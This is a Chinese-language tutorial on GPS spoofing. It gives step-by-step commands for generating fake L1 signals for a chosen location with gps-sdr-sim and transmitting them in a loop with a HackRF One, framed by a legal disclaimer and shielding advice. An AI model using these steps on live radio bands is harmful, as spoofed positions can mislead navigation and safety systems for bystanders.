概述
GPS 欺骗(GPS Spoofing)是一种利用软件定义无线电(SDR)设备发射伪造 GPS 信号,使目标设备的定位产生偏差的攻击技术。本文介绍使用 HackRF One 和 gps-sdr-sim 工具进行 GPS 信号欺骗的完整流程。
免责声明: GPS 欺骗在大多数国家属于违法行为。本文仅用于安全研究和教育目的,严禁用于任何非法活动。
工具与原理
gps-sdr-sim 简介
gps-sdr-sim 是一个开源的 GPS 信号模拟器,它可以根据真实的 GPS 星历数据和指定的地理坐标,生成模拟的 GPS 基带信号采样数据。生成的数据可以通过 HackRF One 等 SDR 设备在 GPS L1 频段(1575.42 MHz)进行发射。
攻击流程
- 下载真实的 GPS 星历数据
- 使用 gps-sdr-sim 生成指定位置的 GPS 基带采样数据
- 使用 HackRF One 发射伪造的 GPS 信号
步骤一:下载 GPS 星历数据
GPS 星历数据(Ephemeris Data)包含了卫星的轨道参数,可以从各个 FTP 站点下载。国内推荐使用武汉大学 GNSS 数据中心:
1 | ftp://igs.gnsswhu.cn/pub/gps/data/daily/ |
下载对应日期的广播星历文件(.n 格式),例如 brdc1830.20n。
步骤二:编译 gps-sdr-sim
1 | # 克隆项目 |
步骤三:生成采样数据
选择一个目标位置的经纬度坐标(例如天府广场:104.065751, 30.657421),然后运行以下命令生成基带采样数据:
1 | ./gps-sdr-sim -e starData/brdc1830.20n -l 104.065751,30.657421,500 -b 8 -d 180 |
参数说明:
| 参数 | 说明 |
|---|---|
-e |
GPS 星历数据文件路径 |
-l |
目标位置:经度,纬度,海拔(米) |
-b |
数据位宽(HackRF 使用 8 位) |
-d |
模拟持续时间(秒),默认 300 秒,越长文件越大 |
更多参数请参考编译好的可执行文件帮助信息:
./gps-sdr-sim -h
步骤四:使用 HackRF 发射信号
1 | hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0 -R |
参数说明:
| 参数 | 说明 |
|---|---|
-t |
采样数据文件(由 gps-sdr-sim 生成) |
-f |
发射频率(GPS L1 = 1575.42 MHz = 1575420000 Hz) |
-s |
采样频率(2.6 MHz) |
-a |
是否开启放大器(1=Enable,0=Disable) |
-x |
TX VGA 增益(可选 0~47,建议从 0 开始,效果不佳再增大) |
-R |
循环发送 |
注意事项:
- TX VGA 增益建议从 0 开始,逐步增大,避免干扰范围过大
- 发射前确保周围无重要设备依赖 GPS 定位
- 仅在屏蔽环境或经过授权的场所进行实验